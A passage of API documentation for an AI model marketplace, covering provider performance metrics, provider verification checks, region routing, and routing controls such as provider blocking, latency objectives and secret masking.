rate, not the whole request.** Output tokens per second between the upstream's first byte and its last, so time-to-first-token is excluded and the figure describes how fast the provider streams once it has started. Stream-only, like TTFT, with `tps_samples` as its own denominator. It is deliberately pessimistic: the histogram rounds throughput *down* to a bin edge, never up, so a published `tps_p50` is never higher than what was actually delivered. **`cache_hit_rate_pct` is the share of input tokens that were prompt-cache reads** over the trailing 24 hours: cache-read tokens over gross input tokens, to one decimal. It reflects how the buyers routed to that provider reuse prompts as much as the provider itself: buyers who resend the same long prompt raise it, one-shot buyers lower it. It is `null` until every request in the window was counted by code that records cache reads, so a partial window is never presented as 24 hours. It is also `null` when the window holds no input tokens, and when cache reads exceed input, which is a counter fault rather than a figure. A `0` is a real measurement: traffic was served and none of it hit the cache. **`route_overhead_p50_ms` is ours, not the provider's.** It is the time we spend before opening the upstream socket. It is published so you can see what the marketplace costs you in latency. **`window_days` is the trailing window every figure covers**, and it is now a rolling **24 hours** - a deliberate choice of currency over breadth, because a multi-day average does not describe how a provider is behaving today. The window is folded incrementally every 15 minutes rather than recomputed from scratch, and a published row expires six hours after the last good tick - so if the rollup stops running the endpoint starts returning `404 no_performance_data` rather than serving stale numbers. A model with no recent traffic 404s for the same reason. **`complete` says whether the pass read the whole window.** When it is `false` the rollup ran out of its time budget: the latency and TTFT percentiles are still valid (the portion it read is an unbiased sample of them), but `requests`, `failures` and `uptime_pct` are `null`, because a count taken from part of a window is simply wrong and a ratio built from one is wrong in a predictable direction. **A cell also needs a minimum volume.** Below roughly 20 observations *in the window* a `(model, provider)` pair is omitted entirely rather than published as noise - so a provider can be absent for thin traffic as well as for thin seller diversity. On a 24-hour window that bar is \~20 requests/day, which is materially higher than it was on a weekly one: expect fewer pairs here than the market page lists. **`uptime_pct` is `null` until the failure history covers the window.** The uptime denominator comes from a failure log that is younger than the request history, so rather than publishing an optimistic 100% from a source that has not been recording long enough, the field is withheld until it can be computed honestly. **Three numbers, three different denominators** - requests (every routed request) - ttft\_samples (only streamed requests that produced a first token) - tps\_samples (smaller still - null means not measured) A provider can have thousands of requests and only a handful of latency samples. A null is 'not measured', never 'zero' - do not rank on a metric whose sample count is tiny. ## What to do with it This is the "probe a model, then choose" surface. Read it, sort by whatever you care about, and pass the result back as a routing preference: ```json "provider_order": ["venice", "openai"] ``` Sorting is deliberately left to you: a `sort_by` parameter here could not express the compound orderings people actually want (fastest above some uptime floor, cheapest among the reliable, and so on). The marketplace shows the same figures without the API: expand a model on the Markets page and the **Current offers** table carries sortable **Latency** (`ttft_p50_ms`), **TPS** (`tps_p50`, shown as `40 tps`), **Uptime** (`uptime_pct`) and **Cache** (`cache_hit_rate_pct`) columns, one value per provider, shared by every offer listed through that provider. A `-` in any of them is a `null` here, and offers without a figure always sort last. Image, video and audio models show no Latency, TPS or Cache column, because none of them exists for them. If you want the router to weigh latency or reliability for you instead, set `si_route.objective` - see [Routing Controls](https://www.surplusintelligence.ai/docs/marketplace/routing-controls). Note that those objectives rank on the router's own **live, per-process** observations, not on the figures published here: this page is a trailing 24-hour view for choosing a provider, while routing needs to see the offer that started failing ten minutes ago. The two are complementary and will not always agree. --- # /docs/marketplace/provider-verification # Provider & Model Verification What the marketplace checks before and while a seller serves traffic, what those checks establish, and which controls are available when stronger assurance is required. The marketplace verifies **reachability, credentials, model mapping, and operational health**, and enforces model identity on providers that echo a comparable id. It does not perform cryptographic attestation that a given set of weights produced a response. No such mechanism exists today. ## Listing-Time Checks Every offer created through the seller API clears all of these before it exists, on both the single and bulk create paths. **Host allowlist and SSRF guard.** A seller's base URL must match a curated provider host, and the host as written must not be a private destination: loopback, `0.0.0.0/8`, RFC1918, link-local, CGNAT, IPv6 unique-local and link-local, IPv4-mapped IPv6, and internal TLDs are refused. This is a static check on the URL string rather than a DNS resolution, so it does not defend against DNS rebinding. `GET /v1/providers` lists the curated providers the dashboard offers, which is the practical list for a buyer: ```bash curl -s https://api.surplusintelligence.ai/v1/providers | jq '.data[] | {id, host, trusted, zdr}' ``` The enforced allowlist is a **superset** of that set. It also carries regional Bedrock hosts and any provider onboarded through AppConfig without a deploy, so a host absent from `/v1/providers` is not necessarily absent from routing. **Credential validation.** The submitted key is checked against the shape the provider family requires before any network call. **Live probe against the model.** The marketplace sends a real, minimal request to the seller's host, with the seller's own credential, for the **provider-specific model id** that the canonical marketplace model maps to, over the wire that offer will be served on. A failed probe means no offer is created. The single-offer endpoint reports this as `provider_probe_failed`; the bulk endpoint streams a per-row `status: "test_failed"` inside a `200` instead, so bulk automation must branch on the row status rather than on an error code. One probe answer is refused for good rather than as a failure: an answer the provider reports it served on the seller's **own upstream key (BYOK)**. Offers backed by BYOK are not allowed, so retrying cannot change it; remove the BYOK key from the provider account, then list again. Creating, re-activating or rotating a single offer answers `400 byok_not_allowed` (not retryable). The bulk endpoint streams that row as `status: "error"` with an `error` that starts `byok_not_allowed: `, and the health check prefixes the row's `error` the same way. Media offers are probed without running a paid generation. A **video** offer on a known async-video host is probed against a free authenticated account endpoint (Venice `GET /api_keys/rate_limits`, Uncensored `GET /billing/balance`), which additionally demotes a key that authenticates but cannot pay. Every other media offer falls back to a `GET /models` liveness check. Quote endpoints are deliberately not used: they answer `200` to a bogus key and cannot distinguish a live credential from a dead one. **Uniqueness.** A credential may back only one active offer per base URL and model; a second is refused with `409 duplicate_offer_for_credential`. Full contract, including the bulk and rotation cases, is in [Seller endpoints](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#one-offer-per-credential-base-url-and-model). **Canonical model resolution.** The model name must resolve to a known marketplace model, otherwise `unsupported_model` on the single-offer endpoint or a per-row `status: "error"` in a bulk response. It is stored canonically, so an alias cannot open a second order-book entry for the same model. **What verification does and does not establish** - **Established**: Reachability, a working credential, the model mapping, and ongoing health. - **Not established**: Model weights, output quality, provider metadata claims, or enclave attestation. Everything on the left is checked. Everything on the right is not. A verified provider is reachable, has a working credential, maps to a known model and is healthy. That is not proof of which model served a response, and its weights and hardware are not audited. ## Continuous Checks **Health detection and recovery.** Failures are detected passively, from live buyer traffic: a failing offer is marked unhealthy and leaves the routable set. Recovery is **active**, because an unhealthy offer is never routed and so cannot heal on buyer traffic. A sweep runs every three minutes and restores an offer on a successful probe, with attempts backing off 1, 2, 5, 10, 30, then 60 minutes. What that probe costs depends on the offer. For a **text** offer it is a small real generation capped at 16 output tokens, which consumes a little of the seller's upstream quota. For a **media** offer it is a `GET` liveness or account check that runs no generation and costs nothing. A seller can also ask for a check with `POST /v1/seller/offers/{id}/reset-health`: it runs one real check and returns the offer only if that passes, never inside the offer's backoff, and never after a `401`/`402`/`403` until the key is rotated. Buyer-owned BYOK providers have no prober and recover passively on their next real request. See [Health & Routing](https://www.surplusintelligence.ai/docs/marketplace/health-routing). **Credential delisting.** The marketplace can delist an offer whose credential the upstream provider has confirmed invalid, so a revoked key stops absorbing routing attempts. **This is live in production** (`CREDENTIAL_DELIST_MODE` is `enforce`): a confirmed-invalid credential is delisted rather than left to cycle through the ordinary unhealthy backoff. **Response model identity.** Where a provider echoes a model id, it is compared with the id the marketplace sent. Coverage differs by provider and by path: - **Every path, Engy.** Returns `502` when the response names a different model than was requested, on the streaming path as well as the non-streaming one. - **Non-streaming only, Google** (AI Studio and Vertex over the OpenAI-compatible wire). Returns `502` on a mismatch for a non-streaming reply and for one the marketplace assembled internally from a stream, but **not** for a true SSE passthrough, which is forwarded without an identity check. A streamed `200` is therefore not an identity assertion. Claude and Mistral on Vertex (`rawPredict` / `streamRawPredict`) are not identity-checked on any path. - **Recorded, not enforced, Concentrate.** This aggregator documents silent cross-provider fallback and echoes a qualified id, so a mismatch is recorded against the request instead of failing it, and feeds seller-integrity risk scoring. That flag is internal and is not exposed on the buyer-facing request log. - **Unobservable elsewhere.** Most OpenAI-compatible hosts omit `model` or echo whatever they were sent, leaving nothing to compare. Absence of a recorded mismatch on such a host is not evidence of a match. ## Scope and Limits **Established.** The endpoint is a curated provider host reachable over TLS. The seller's credential is real and worked for that model at listing time. The model name maps to a known model and a known provider-specific id. The offer is currently healthy against live traffic. On the providers and paths listed above, the response identified itself as the requested model. **Not established.** - **No proof of weights.** No cryptographic or semantic attestation ties a response to the advertised model. A provider silently substituting a different or modified model, on a host that echoes no comparable id, is not detected. - **No quality verification.** Quantization level, context truncation, injected system prompts, and altered sampling defaults are not measured. - **Catalog metadata is asserted.** Context length, modalities, and `supported_parameters` on a model row are mirrored from provider documentation and upstream catalogs, not independently tested. - **`tee_attestation` is a declared label.** Some `e2ee-*` rows carry it in `supported_features` and most do not (7 of 16 on a 2026-09-07 snapshot), so the row rather than the id prefix is authoritative. Where present it is upstream-declared catalog metadata surfaced for discovery. The marketplace does not validate an enclave quote. - **Trusted status is curation.** It is a judgment about who operates a host. It lowers risk; it does not prove what any single response contained. - **A ZDR label is read from the provider's published terms.** It is a reviewed reading of what the provider says it keeps, with the evidence and review date published beside it. It is not an audit of the provider's systems. See [Zero Data Retention](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention). ## Buyer Controls Ordered from weakest to strongest assurance. | Control | Mechanism | Effect | | ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | | Trusted-only routing | Default for new accounts. `preferences.allow_untrusted` on the account or a key ([buyer endpoints](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints)) | Excludes providers outside the curated trusted set | | Provider pin | `"provider": "zai"` or `"provider": ["zai", "openrouter"]` ([provider pinning](https://www.surplusintelligence.ai/docs/api-reference/chat-completions#provider-pinning-blocking-and-ordering)) | A recognized pin restricts routing to the named providers | | Minimum discount | The `/min{N}/` path prefix ([minimum-discount routing](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing)) | Fails rather than routing above the price floor | | Zero data retention | The `/zdr/` path prefix, `X-SI-Require: data.zdr`, or a key with `provider_trust: "zdr"` ([zero data retention](https://www.surplusintelligence.ai/docs/marketplace/zero-data-retention)) | While ZDR routing is available (`zdr_routing_available`), routes only to providers labelled ZDR, and fails rather than falling back | | BYOK priority provider | An own key on an own provider account ([BYOK guide](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider)) | The provider's guarantees apply directly to the buyer | Two caveats on those controls. **Pinning narrows liquidity, and the failure code depends on what the pin matched.** A pin matching no offer at all returns `404 no_sellers_for_model`, and its message names the pin; a pin matching offers that are all unhealthy returns `503 no_healthy_sellers` (when the pin's offers are from untrusted providers such as Azure OpenAI on a trusted-only key or account, that 503's message says *untrusted provider*, and the fix is `preferences.allow_untrusted: true`); a pin matching only offers whose provider does not accept a parameter the request uses (such as `tool_choice`) returns `404 no_sellers_for_model` naming the pin and the parameters; a name that is not a known provider returns `400 unsupported_provider`. A pin the router cannot parse at all is currently **dropped rather than refused**, which reopens the full order book and can serve a provider you did not ask for. `ADAPTER_PIN_FAIL_CLOSED` converts that into a `400` and ships `off`. A trusted-only request whose trusted sellers are all down, or every healthy one failed, while healthy untrusted ones serve the model returns a retryable `503 no_healthy_trusted_sellers` with their count; `allow_untrusted` (or "All healthy" under Seller access on the dashboard's Routing page) includes them. **All three minimum-discount tiers are enforced in production.** The `/min{N}` path prefix is always live; the `X-Min-Discount` header and a per-key `min_discount_pct` floor are gated by `MIN_DISCOUNT_ROUTING_ENABLED`, which is **on** in production. You can rely on any of the three. ## Route Visibility The `x-si-*` route-summary headers are emitted while `ROUTE_SUMMARY_HEADERS` is on, which is the default, on success and on error or timeout paths alike: | Header | Meaning | | --------------------------- | ------------------------------------------------------------------------------------------------------------------- | | `x-si-served-by` | `marketplace`, `preferred_key`, `fallback_key`, or `unknown` | | `x-si-provider-family` | The serving provider's family. Coarsened to `unknown` when global cache sharing is enabled, which is off by default | | `x-si-preferred-key-status` | Fate of the BYOK priority key | | `x-si-marketplace-status` | Marketplace terminal state (`served`, `no_sellers`, `filtered`, `exhausted`, and others) | | `x-si-marketplace-attempts` | Upstream sellers actually tried | | `x-si-routing-decision-ms` | Time from route start to the first upstream socket | Their values are closed enums and clamped integers, never provider-supplied text, so an upstream cannot inject content into them. On a streaming response they are frozen at the first byte and describe the route as of serving start. The table above is the routing subset; the same append-only contract also carries cache-affinity headers. Two further headers are always present and are **not** governed by that flag: | Header | Meaning | | --------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | | `X-SI-Adapted-Params` | Request parameters the marketplace changed, comma-separated. Sent only when something was changed, so its absence means nothing was | | `x-request-id` | Correlation id, echoed verbatim from the request when supplied, otherwise generated | `GET /v1/requests` returns the per-request log with the serving provider's stable public ID, route source, fallback usage, status, token counts, cost, and latency. The order book behind a routing decision is public: `GET /api/markets/{model}` lists every live offer with its `provider`, `trusted`, `healthy`, and `available` flags and its price. ## Reporting a Mismatch Email with: - the `x-request-id` of one or more affected responses, - the values of `x-si-served-by`, `x-si-provider-family`, and `x-si-marketplace-attempts`, - the model requested and the timestamp with time zone, - the basis for the suspicion: a reproducible prompt whose answer diverges from the same model elsewhere, a self-identification in the output, or a tokenizer, latency, or context-length anomaly. Do not include an API key, a provider credential, or a prompt containing secrets. The request id alone is sufficient to retrieve the route. ## See Also - [Health & Routing](https://www.surplusintelligence.ai/docs/marketplace/health-routing) for how offers enter and leave the routable set. - [Models & Providers](https://www.surplusintelligence.ai/docs/marketplace/models) for the provider allowlist and model name resolution. - [Security & Privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy) for credential storage and prompt retention. - [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs) and [Reasoning Controls](https://www.surplusintelligence.ai/docs/reference/reasoning) for the two capability surfaces that vary by provider. --- # /docs/marketplace/region-routing # Region routing Region routing decides where your requests may be served. You set it for your account, for an API key, or for a single request, and it either keeps your requests inside the regions you list or keeps them out of the regions you list. ```json "region_routing": { "mode": "include", "regions": ["us", "eu"] } ``` | Mode | What it does | | --------- | --------------------------------------------------------------------------- | | `include` | Only sellers whose host runs **only** in the listed regions can serve you. | | `exclude` | Only sellers whose host **never** runs in the listed regions can serve you. | The regions are `us`, `eu` (EU and EEA member states; the UK and Switzerland don't count as `eu`) and `cn` (mainland China). ## Where a seller runs A seller's region comes from where its **provider says inference runs for the host the seller uses**, not from where the company is based. Many providers make no promise on their main endpoint: OpenAI, Anthropic, Mistral, Together, Fireworks, OpenRouter and Google's Gemini API all say a request may run in any region. Resellers, aggregators and decentralised networks usually don't say where your request ends up. **A seller whose inference location isn't stated never serves a request with region routing, in either mode.** So `exclude: ["cn"]` also keeps you away from a reseller that could pass your request on to a China-hosted provider. Fewer sellers qualify, but none of them can leave the regions you chose. A seller's region is our classification from the provider's own documents and terms. It isn't a provider guarantee, and it can change. Amazon Bedrock offers take their region from the AWS region in their endpoint. `GET /api/markets/{model}` shows each offer's regions in `possible_regions` (any of `us`, `eu`, `cn`, plus `elsewhere` when the host may also run outside them) and the countries the provider states in `region_countries`. An offer without `possible_regions` has no stated location. ## Setting region routing There are three places to set it, and all three apply to a request: the regions you include must be in every `include` you set, and a region excluded anywhere is excluded. | Where | Covers | How | | ----------- | -------------------------------- | --------------------------------------------------------------------------- | | The account | every key in the account | `{"preferences": {"region_routing": {...}}}` on `PUT /v1/buyer/preferences` | | A key | every request made with that key | `scope.region_routing` on `POST /v1/keys` and `PATCH /v1/keys/{id}` | | A request | that request only | `"region_routing": {...}` in the request body | On the account or a key, `null` clears it, and a save that doesn't mention it keeps it. A key with region routing counts as a restricted key, so it can't create or manage keys. ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "model": "glm-5.3", "messages": [{"role": "user", "content": "hi"}], "region_routing": {"mode": "include", "regions": ["us", "eu"]} }' ``` With the OpenAI Python SDK, pass it as `extra_body={"region_routing": {"mode": "include", "regions": ["us", "eu"]}}`. Every inference endpoint accepts it, text and media. A multipart request (transcription, image edit) sends it as a JSON string. Region routing never reaches the seller. ## When no seller in your regions serves a model The request is refused before anything is charged or held. It's never sent to a seller outside your regions. Your own priority or fallback provider key serves it only if that key's host is in your regions too. | Code | Status | Meaning | | ------------------------------------- | ------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `region_unavailable` | 400 | No seller of this model is known to run where you asked. Widen the regions where they're set (the account, the key or the request), or choose a model with sellers in your regions. | | `no_healthy_sellers` | 503 | Sellers in your regions serve this model, but none can take the request right now. Retry shortly. | | `invalid_region_routing` | 400 | `region_routing` isn't `{"mode": "include" or "exclude", "regions": [one or more of us, eu, cn]}`, or was sent on a transcription paid with x402 or MPP. | | `region_routing_not_enabled` | 400 | Region routing isn't available yet. A request or key that sets it is refused rather than served without it. While it's switched off, a setting on your account isn't applied and your requests are served without it. | | `region_routing_unavailable` | 503 | We couldn't check whether region routing is on, and your request, key or account sets it. Retry shortly. | | `region_routing_settings_unavailable` | 503 | Your account's region routing couldn't be read right now. Retry shortly. | | `region_routing_unreadable` | 503 | The region routing stored on your account or key can't be read. Save it again. | ## What region routing doesn't cover - **Provider Market.** Calls to `/v1/resources/...` use a seller's provider key directly and don't apply region routing. - **x402 and MPP payments.** A request paid with x402 or MPP has no account or key settings, so only `region_routing` in the request applies, and a transcription paid that way refuses it. ## Questions ### Why does `exclude: ["cn"]` refuse more than China-hosted sellers? Because a seller that doesn't say where it runs could be running in China. Excluding a region means no request of yours reaches it, so every seller with an unknown location is left out too. ### Does a US company count as `us`? No. Only where the provider says your request runs counts. A US company's main endpoint usually makes no location promise, so it counts as anywhere. ### How is this different from a privacy level? A [privacy level](https://www.surplusintelligence.ai/docs/marketplace/privacy-levels) decides which providers can see or keep your request content. Region routing decides where the request may run. They work together: a request has to pass both. --- # /docs/marketplace/routing-controls # Routing Controls By default the marketplace routes for you: it picks the cheapest healthy offer for the model you asked for and fails over transparently. See [Health & Routing](https://www.surplusintelligence.ai/docs/marketplace/health-routing) for that default path. This page is about overriding it, and about seeing what it did. Every control here is **optional** - send none of them and behaviour is exactly the default. > **Text and Decisions.** These controls apply to `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/anthropic/v1/messages`, and `/v1/decisions`. Decisions uses the same eligibility filters and objective ordering, but its native protocol is synchronous and non-streaming, with one provider attempt per request; `cache` is therefore inert there. Media routing (image, video, music) is always cheapest-first and ignores every field on this page, except [`X-SI-Mask-Secrets`](https://www.surplusintelligence.ai/docs/marketplace/routing-controls#x-si-mask-secrets--mask-secrets-in-this-request), which media endpoints refuse. > > `provider` and `providers_blocked` now appear on the media request schemas (image, image edit, video, music), because honouring them there is being rolled out. **Until that rollout completes they are accepted and ignored** - this page will say so plainly when it changes. `provider_order` is not planned for media at all: media picks one offer rather than walking an ordered list. ## Where the controls go **Which providers may serve a request** are top-level body fields, beside the existing `provider` pin: | field | meaning | | ------------------- | ---------------------------------------------------------------- | | `provider` | allow-list - only these providers are eligible (string or array) | | `providers_blocked` | deny-list - these providers are refused | | `provider_order` | preferred attempt order | **How to choose among the eligible ones** lives in a `si_route` object: `objective`, `price_tolerance_pct`, `max_latency_ms`, `cache`. Only `objective` (`X-SI-Route-Objective`) and `price_tolerance_pct` (`X-SI-Route-Tolerance-Pct`) have header forms, for clients that cannot add a field to an OpenAI-shaped body. Everything else is **body-only** - there is no header, and sending one has no effect, including no error, because a field that was never received cannot be reported as malformed. ```json POST /v1/chat/completions { "model": "gpt-5.6-luna", "messages": [{ "role": "user", "content": "hi" }], "providers_blocked": ["openrouter"], "provider_order": ["venice", "openai"], "si_route": { "objective": "latency", "price_tolerance_pct": 15, "max_latency_ms": 4000 } } ``` None of these reach the provider: `provider`, `providers_blocked`, `provider_order` and `si_route` are all stripped before the upstream call. ## `objective` - what to optimise for | Value | Behaviour | | --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `price` *(default)* | Cheapest estimated total cost first. | | `latency` | Fastest observed p50 first, **within a price band**. | | `reliability` | Highest observed success rate first, within the same band. | | `price_without_cache` | Cheapest first with cache-affinity routing disabled. Cache affinity is currently in **observe** mode in production, so prompt-cache write-injection is not running and this objective changes little today. | Header form: `X-SI-Route-Objective: latency`. **The price band is what a non-price objective ranks within.** Offers whose estimated cost is inside `price_tolerance_pct` of the cheapest eligible offer are ranked by the objective; offers outside the band are *not dropped* - they are placed behind the band, cheapest-first, and remain reachable on failover. The default band is per-objective; override it with `si_route.price_tolerance_pct` or `X-SI-Route-Tolerance-Pct`, and it is clamped server-side. **The price band** - seller-a: $0.29 (cheapest eligible - anchors the band) - seller-b: $0.31 (inside the band - your objective ranks it) - seller-c: $0.33 (inside the band - your objective ranks it) - seller-d: $0.58 (outside - queued behind, still reachable) The cheapest eligible offer anchors the band. Inside it your objective decides the order; outside it offers queue behind, cheapest-first - still reachable on failover, never dropped. A tolerance is therefore an ordering preference, **not a spend cap**. `price_tolerance_pct: 0` does not bound what a request can cost. **Choosing a non-price objective changes what is reserved, and on some rails what is charged.** Because the router may now select an offer that is not the cheapest, funding reserves the most expensive offer it could select and caps the request at that amount. Two consequences: - On **credit** and **on-chain** balances the reservation is released on completion and you are charged for what you used - but a buyer close to their balance may see `402` on a request that `objective: "price"` would have served. - On **x402** the payment is captured up front at the challenged amount, which is computed from that same maximum. The surplus is returned as **marketplace credit**, not as a refund to your wallet. ## `provider_order` - try these providers first A top-level field. An ordered list of provider families (`"venice"`) or hosts (`"api.venice.ai"`). Named providers are attempted first, in the order given; everything else follows in the objective's own order. ```json "provider_order": ["venice", "openai"] ``` **Ordering is not eligibility.** It reorders offers that already passed every filter - price ceilings, minimum discount, spend caps, health, wire availability - and can never resurrect an excluded offer, nor exclude one you did not name. A provider you do not list is still attempted, just later. Two costs worth knowing: - Overriding the default order forfeits the cache-affinity tiebreak, so prompt-cache hit rate (and therefore price) may fall. - If the order can actually promote a pricier offer, the request funds like a non-price objective - see the reservation note above. If it cannot (you named a provider that serves none of this model's offers, or only one provider serves it), it costs nothing. ## `providers_blocked` - never send this request to these providers ```json "providers_blocked": ["openrouter", "api.venice.ai"] ``` Matched on provider family or host, the same spellings `provider_order` accepts. A blocked provider is excluded from **every** rail - the marketplace, your BYOK priority provider, and your fallback key - because a block is a statement about which providers may see the request, not about whose key pays for it. **This one does not fail open.** Every other field here is a preference, and an unreadable preference is ignored. A block is a refusal, so an unreadable one is refused with `400 invalid_request` rather than dropped: silently ignoring it would send the request to the provider you just ruled out. A bare string (`"providers_blocked": "venice"`) is accepted as a one-element list. An empty array means "no block", never "block everything". The list is capped at **32 entries**; a longer one is refused rather than silently truncated, because a partially-applied block is the same failure as a dropped one. If the block leaves no eligible offer, the request fails with `503 no_healthy_sellers`. There is also a **key-scoped** blocklist set on the API key itself. The two are additive - the per-request list can only narrow further - but they are **not equivalent**, and the difference matters for data residency: | | top-level `providers_blocked` | key-scoped blocklist | | ----------- | ------------------------------------------ | ---------------------------------------------------------------------------------------------------- | | spellings | provider family or host | **host only** (a family name is rejected at key creation with `400 invalid_scope_providers_blocked`) | | rails bound | marketplace, BYOK priority, buyer fallback | **marketplace only** | So a key-scoped block still leaves your own BYOK provider reachable. If the requirement is "this request must never reach provider X", use the per-request field. ## `max_latency_ms` - a hard ceiling Offers whose observed p50 exceeds this are excluded outright (not merely deprioritised). An offer we have no latency history for is not excluded - we do not have evidence to exclude it on. ## `X-SI-Mask-Secrets` - mask secrets in this request A header, beta, and off unless you send it. `X-SI-Mask-Secrets: on` switches [secret masking](https://www.surplusintelligence.ai/docs/guides/secret-masking) on for this one request: API keys, private keys, seed phrases, passwords and tokens in the request are replaced with placeholders before it is routed, and every value is put back in the response, everywhere but the model's reasoning. ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer $SURPLUS_API_KEY" \ -H "X-SI-Mask-Secrets: on" \ -H "Content-Type: application/json" \ -d '{"model": "gpt-5.6-luna", "messages": [{"role": "user", "content": "Why does this config fail?"}]}' ``` - **It can only switch masking on.** `on` (lower case) is the only value; anything else, an empty value or a repeated header is `400 invalid_secret_masking_header`. There is no `off`: a request whose key or account has `mask_secrets: true` is masked whether or not it sends the header. - **It applies at once.** A key or account setting takes up to about 31 seconds to reach every server (about 70 right after masking is turned on for the service); the header covers the request it is on, so send it when you need masking immediately. - **Text endpoints only.** It is honoured on `/v1/chat/completions`, `/v1/completions`, `/v1/responses`, `/anthropic/v1/messages` and `/v1/decisions`, with their `/min{N}` mirrors. On embeddings, images, audio, video, music and x402 resources the request is sent as it is, without masking, and while masking is running its response says so with `x-si-secret-masking: not_applied`. - **It fails closed.** If masking is asked for, is running, and cannot be applied, the request is refused before funding and nothing is sent. While masking is paused on the service, the header is ignored and the request is sent without masking (its response has no `x-si-secret-masking` header). Every refusal code is listed in [Secret masking](https://www.surplusintelligence.ai/docs/guides/secret-masking#when-a-request-is-refused). - **Some sellers require it.** A few sellers accept only masked requests. When every seller for an unmasked request is one of them (after any `provider` pin), the request is refused with `403 secret_masking_required` rather than `503 no_healthy_sellers`. It is not retryable as is: send this header, or set `mask_secrets: true` on the key or the account. A masked response says so, and says what it left in place: | Header | Meaning | | ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `x-si-secret-masking` | `applied`; or `not_applied` on an endpoint masking does not cover (embeddings, media, x402 resources) | | `x-si-secrets-masked` | how many distinct secrets were masked, capped at 999 | | `x-si-secrets-withheld` | on a JSON response, how many placeholders were left in place rather than restored (in reasoning, or where a stream could not be restored); only when more than 0 | A **streamed** response cannot add a header after the first byte, so it carries the withheld count as one SSE comment line, `: si-secrets-withheld `, written just before the stream's final event (`[DONE]`, `response.completed`, `message_stop` and so on), and only when the count is more than 0. A standard SSE parser skips comment lines, as it does the `: ping` keep-alive. None of these headers or the comment appear on a request that was not masked. ## Seeing what the router did Every response carries routing telemetry - text and media alike (`x-si-attempts` is populated on the media endpoints too, with the same redactions): | Header | Meaning | | --------------------------- | ---------------------------------------------------------------------------------------------------- | | `x-si-served-by` | Which rail served it: `marketplace`, `preferred_key`, `fallback_key`. | | `x-si-marketplace-attempts` | How many offers were dialled. | | `x-si-attempts` | **Which** offers failed, as `provider:offerId:reason`, comma-separated. Empty when nothing failed. | | `x-si-buyer-cost-micro` | What this request cost you, in integer microdollars (`1 USD = 1000000`). | | `x-si-truncated` | `1` when the response was cut short by a deadline - the only signal that a completion is incomplete. | | `x-si-adapted-params` | Parameters we changed or could not carry to the provider. | `x-si-attempts` answers the question a count cannot: four attempts can be four offers on **one** provider, which is a flaky seller, not a vendor outage. Reason codes are coarse and stable - `unavailable`, `rate_limited`, `not_found`, `upstream_error`, `request_rejected`, `timeout`, `error` - and the provider's own error text is never echoed into a header. Two deliberate redactions. A provider we cannot classify appears as `unknown` rather than as a raw name. And on the `unavailable` class the offer id is replaced with `-`: that class is uniquely the auth/billing one, so pairing it with an offer id would let anyone with an API key enumerate which sellers' credentials are dead or out of credit. The list is capped, with a `+N more` marker when a walk was longer than the cap. Under some operator cache configurations the attempt headers are suppressed and ship empty - they can otherwise reveal routing decisions influenced by other tenants' traffic. **Streaming responses cannot carry the cost header** (headers freeze at the first byte). Chat and legacy Completions buyers can opt in to a final `choices: []` token-usage chunk with `stream_options.include_usage`; Anthropic Messages needs no opt-in. When the seller reports usage, `message_delta.usage` carries the cumulative counts; otherwise all four fields are a zero placeholder and `GET /v1/requests/{id}` is authoritative. Responses places available token counts on the terminal event's `response.usage`. `buyer_cost_micro` is included only when the request has a known priced charge; when the charge is unknown, the field is omitted. Use the per-request record for authoritative reconciliation: ```bash curl https://api.surplusintelligence.ai/v1/requests/$REQUEST_ID \ -H "Authorization: Bearer $SURPLUS_API_KEY" ``` This endpoint needs the `requestlog.read` scope, which an inference key does not carry by default - use a key provisioned with it. It returns the model, the serving provider, which rail served it, the settled cost, and the latency breakdown - `route_overhead_ms` (our own time before opening the upstream socket), `first_token_ms` (time to the first byte we delivered to you, streaming only), and `upstream_total_ms`. `GET /v1/requests` lists them. ## Browser clients `x-si-route-objective`, `x-si-route-tolerance-pct`, `x-min-discount` and `x-si-mask-secrets` are accepted on cross-origin preflight, and `x-si-attempts`, `x-si-buyer-cost-micro`, `x-si-list-cost-micro`, `x-si-truncated`, `x-si-privacy-level`, `x-si-adapted-params`, `x-si-adapted-response`, `x-si-trace-id`, `x-si-secret-masking`, `x-si-secrets-masked` and `x-si-secrets-withheld` are exposed so a browser can read them. The remaining `x-si-*` telemetry headers are readable server-side only. ## Reasoning with tools Some models reject `tools` and reasoning together on the ordinary chat endpoint - the provider's own error says so, and names the remedy. Left alone, the only way to serve such a request on that endpoint is to turn reasoning off, which answers the question by deleting the thinking behind it. Where the seller's offer supports it, the marketplace serves these requests over the provider's Responses endpoint instead and translates the answer back into the chat shape you asked for. You do not opt in and the request body does not change; the response is the same `chat.completion` object, now with the reasoning intact. Two consequences worth knowing: - **It can cost more.** Reasoning tokens are reported inside `completion_tokens` and billed at the offer's output rate, so a request that previously ran with reasoning suppressed now generates tokens it did not before. That is the point - you are getting what you asked for - but the bill reflects it. - **It never makes a request worse.** If the provider turns out not to serve that endpoint for the model, the request is re-sent on the ordinary chat wire and served exactly as it is today. The seller is not penalised for it. ## What these controls are not `min_discount` (the `/min{N}` URL segment, the `X-Min-Discount` header, or a key's `min_discount_pct`) measures the discount **against the model's external list price** - what you would pay going direct to a reference provider - and it is evaluated on the **price you actually pay**. All three tiers combine as `max(url, header, key)`: the strictest floor wins, and a per-request value can tighten a key's floor but never loosen it. It is a floor on how much cheaper than list an offer must be. It is **not** a bound on how much you might overpay relative to other offers *inside* the marketplace, and it does not guarantee you got the cheapest offer available. For that, use `objective: "price"` (the default) or read [Provider Performance](https://www.surplusintelligence.ai/docs/marketplace/provider-performance) and pin with `provider_order`. See [Minimum-Discount 